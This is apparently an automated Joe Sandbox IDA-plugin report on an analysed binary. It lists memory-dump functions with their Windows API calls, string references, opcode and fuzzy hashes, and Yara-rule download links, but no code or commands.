Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 1344b1cc7e21ab89bf1eb31e7a232d6fe44956f5ae986848f077d4ce9fea062a
Instruction ID: 01e56d9c5127691f86330a138ae6188f03287dd38acb1c82cf687bd3427b8963
Opcode Fuzzy Hash: 1344b1cc7e21ab89bf1eb31e7a232d6fe44956f5ae986848f077d4ce9fea062a
Instruction Fuzzy Hash: 1891EF706083448FC734CF28C6846AEB7E0AFC9258F506D2DE99A87751DB34D94ACBD2

Function 6C7ED4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

9, xrefs: 6C7EDE7F
0, xrefs: 6C7ED852
, xrefs: 6C7EDA88
8, xrefs: 6C7EDC08
-, xrefs: 6C7ED7DD
1, xrefs: 6C7EDBDD
0, xrefs: 6C7EDC7F
@, xrefs: 6C7EDAF6

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: fdeee3c880e9bc2b0f6f0ed2ae27f663aa87fb425b47c62b81f9c879e1528870
Instruction ID: 7c4dac41a0057e0bf04cceae45ca0f5e8f3400da13aadb82318e59e25d24fe6b
Opcode Fuzzy Hash: fdeee3c880e9bc2b0f6f0ed2ae27f663aa87fb425b47c62b81f9c879e1528870
Instruction Fuzzy Hash: BD62E37250C3418FD701CF29C69075EBBF2AFEA358F184A2DE4E04BA91D3359985CB4A

Function 6C85545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C858A4B

Strings

~q~l, xrefs: 6C855740, 6C859269, 6C859459, 6C855703, 6C85921F, 6C8556C7, 6C85948F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memset
String ID: ~q~l
API String ID: 2221118986-170882015
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 114806d3665a395d96938a4ef782eab066b1a56e0a09d0d37e93b4b6a4500538
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 00B1E672A0021A8FDB24CF68CD907E9B7B2EF85314F5406AAC449DB791D7709995CB90

Function 6C85542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C8588F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C85925C

Strings

~q~l, xrefs: 6C855740, 6C859269, 6C859459, 6C855703, 6C85921F, 6C8556C7, 6C85948F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memset
String ID: ~q~l
API String ID: 2221118986-170882015
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 9aa4ab34ec2de14ffaf7a018d40cc79553d93f4dcce2935609e0e78e1f56d43c
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 71B1D672E0020ACFCB24CF58C9816E9B7B2EF84314F54067AC949DB785D770AD9ACB90

Function 00406CD0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406CF7
LocalAlloc.KERNEL32(00000040,00000000,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D06
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,bb@,00000000,00000000), ref: 00406D1D
LocalFree.KERNEL32(?,?,00406262,00000000,?,?,?,?,?,?,?,?,00000030), ref: 00406D2C

Strings

bb@, xrefs: 00406CD8, 00406CE3, 00406D16

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: bb@
API String ID: 4291131564-2500169449
Opcode ID: f8e43302f7fce6fb613939d3421b4b83cc0005e8cecfcf253585932f9e4ea9ed
Instruction ID: 42377a10c5b691d58d204e04dcd1b181e660bde61f5e290e0dd39ce49787fde4
Opcode Fuzzy Hash: f8e43302f7fce6fb613939d3421b4b83cc0005e8cecfcf253585932f9e4ea9ed
Instruction Fuzzy Hash: 7601FF723403167BE7204F999C46F96B7ADEF54B61F241426FB09EB2C0D7B5A8108BA4

Function 0041D12F Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041DB06
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041DB1B
UnhandledExceptionFilter.KERNEL32(00425C14), ref: 0041DB26
GetCurrentProcess.KERNEL32(C0000409), ref: 0041DB42
TerminateProcess.KERNEL32(00000000), ref: 0041DB49

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 683b4d4e620a0e7e01b7f583e1542e9560b214c5cb62f003acb29c3f0c6decad
Instruction ID: 5d72b34571145bb9349777956cd33b47893e7d53b199ad78bf4548aa3c08b8e6
Opcode Fuzzy Hash: 683b4d4e620a0e7e01b7f583e1542e9560b214c5cb62f003acb29c3f0c6decad
Instruction Fuzzy Hash: 972105B5911200DFD750DFA9FC956463BF2FB08320F50602AF808A7271E7B55A81CF99

Function 00410DF0 Relevance: 6.1, APIs: 4, Instructions: 63memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?), ref: 00410E14
GetProcessHeap.KERNEL32(00000000,?,?,00404635,?,?,?,?,?,?,?,?,00000030), ref: 00410E23
HeapAlloc.KERNEL32(00000000,?,?,00404635,?,?,?,?,?,?,?,?,00000030), ref: 00410E2A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 1fe5e948f190030f00199b1568cbc9631c178d5760d53f7334fa0fc3d03cff58
Instruction ID: f38d00c6f81932c7d8df6950f979990471a38c74c8adca3308c79089357d8eb1
Opcode Fuzzy Hash: 1fe5e948f190030f00199b1568cbc9631c178d5760d53f7334fa0fc3d03cff58
Instruction Fuzzy Hash: 27110C71201219ABDB10DFA5EC85EAB77ADFF49361F10555AFD08D7200D771DC918AA0

Function 6C826CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C826D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C826E1E

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ce0d68d862f433fd4a8dca329dd5df93628afc0887b37ba8b1cfeb0dddfcf4fc
Instruction ID: 223d0d52f8ed06ac50a0603745459f534c6b76414ca5cdc8bbf84f055301e821
Opcode Fuzzy Hash: ce0d68d862f433fd4a8dca329dd5df93628afc0887b37ba8b1cfeb0dddfcf4fc
Instruction Fuzzy Hash: CDA18F746183858FDB25CF24C5847AEBBE1BF89308F104D2DE48A87751DB74A889CBD2

Function 0041A130 Relevance: 4.6, APIs: 3, Instructions: 132fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0041A185
memcpy.MSVCRT ref: 0041A244
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,0041A775,?,00000000,?,00004000,00000000), ref: 0041A26A

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: memcpy$FileWrite
String ID:
API String ID: 3457131274-0
Opcode ID: 2d22be425c87577b1131f8a91011121a898ebde39009c08eab7bebb4a11d0871
Instruction ID: 5b95052368699d3f3521c9a757664877e2de3d84c5c411380c9cb46d08fedc90
Opcode Fuzzy Hash: 2d22be425c87577b1131f8a91011121a898ebde39009c08eab7bebb4a11d0871
Instruction Fuzzy Hash: 6D41DE726017049BC724DF69D981AA7B7F8FF94310F54852FE88A87B00D235F954CBA4

Function 0041A440 Relevance: 4.6, APIs: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,00000000,?,?,?,0041BE5D,?,?), ref: 0041A49B
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,0041BE5D,?,?), ref: 0041A4A9

Part of subcall function 00419D30: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,0041BE5D,?,?,?,0041BE5D,?,?), ref: 00419D3E

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041A4E1

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 7e60acd9ab161ec7cd348ba0e7e2914a6b225378a2bae7c8b3eaa599deb795e5
Instruction ID: 869d339f8592556dbf7d72ad1effccd15aefc6636d5d25adfe10b75b90e2a988
Opcode Fuzzy Hash: 7e60acd9ab161ec7cd348ba0e7e2914a6b225378a2bae7c8b3eaa599deb795e5
Instruction Fuzzy Hash: DD210CB1904748AFD724DF69D480AABBBF8FB48704F50892EE59AC3701D774A544CBA4

Function 6C8485F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C848C7C
__aulldiv.LIBCMT ref: 6C848DD7

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 1c881dc236230248e346000bdda6e664abb35df8dda7ac719ec437d5efbf0c9c
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: DD325C71F0121D8BDF28CE9CC9A17AEB7B2FB88300F15852AD506FB794DA349D458B91

Function 6C825C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C7F4A63,?,?), ref: 6C825F06

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 6a03155a490e0c81ecf457f0d3c4888c1b5592dd6751f4699eb479f071c6fac8
Instruction ID: f3dbc029308253616c536ed626433f9c5093ef3d30cdddda6fadd53f9ca269fe
Opcode Fuzzy Hash: 6a03155a490e0c81ecf457f0d3c4888c1b5592dd6751f4699eb479f071c6fac8
Instruction Fuzzy Hash: A4C1B075D013098BCB24CF99C2946EEBBF2FF89318F288559D8556BB48D735A885CBC0

Function 0041ECC8 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001EC86), ref: 0041ECCD

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: bf2968311feed9aee04e009bf1d0eb793e009b9d2bdc8e587b01590481ee4cfa
Instruction ID: 45d5b886346ed4dd4413007e4d879474b4e60d6cdd60a4bd2ccedb2bb85a8b70
Opcode Fuzzy Hash: bf2968311feed9aee04e009bf1d0eb793e009b9d2bdc8e587b01590481ee4cfa
Instruction Fuzzy Hash: 349002F439110046766017B16D0DA4525D19B48A2279104616505D4455EE544086966D

Function 6C810512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 9248ca1fae73132caec7e5a1c6d8fbfa2686cd15b2ce7b3b4ec71f38d10de298
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BA221771E0465A8FCB24CF98C990AADF7F2FF88304F548599D44AA7B45D730A986CF80

Function 6C85AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 760ea2ec780f314001b4780dff1b9f419b3059d3887f20547ac21732c0544f5b
Instruction ID: 64ee4b0b9debb99cd85425ea8db491345e5490dc6c5c200a5ba85b8b78256851
Opcode Fuzzy Hash: 760ea2ec780f314001b4780dff1b9f419b3059d3887f20547ac21732c0544f5b
Instruction Fuzzy Hash: E1F159716083454FDB60CE28C9C03FAB7E2AFC5319F948E2DE4D587781E3B5985487A2

Function 6C7EC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 0f2c1caf8cc3afd7a09b4d515be5e9f70a8d0615370fdc699fd01ef32cc37d92
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 29A1A076F0021A8BDB08CE69C9913AEBBF2AFCC355F188169D915E7781DB345C068B90

Function 00419B30 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 245af3dc10dfb347366ae254a76ed72c538459322c752d36d00674ceb146415b
Instruction ID: 5dc0ee73ffbeeccee6bd2ce345e446567f455fca8535b687b3d55c6fa81bd8de
Opcode Fuzzy Hash: 245af3dc10dfb347366ae254a76ed72c538459322c752d36d00674ceb146415b
Instruction Fuzzy Hash: 59218E33A794FB01D7608FB2DC1867237E2DBCA205FAF81B5D64887642D23DE4939264

Function 00419B58 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
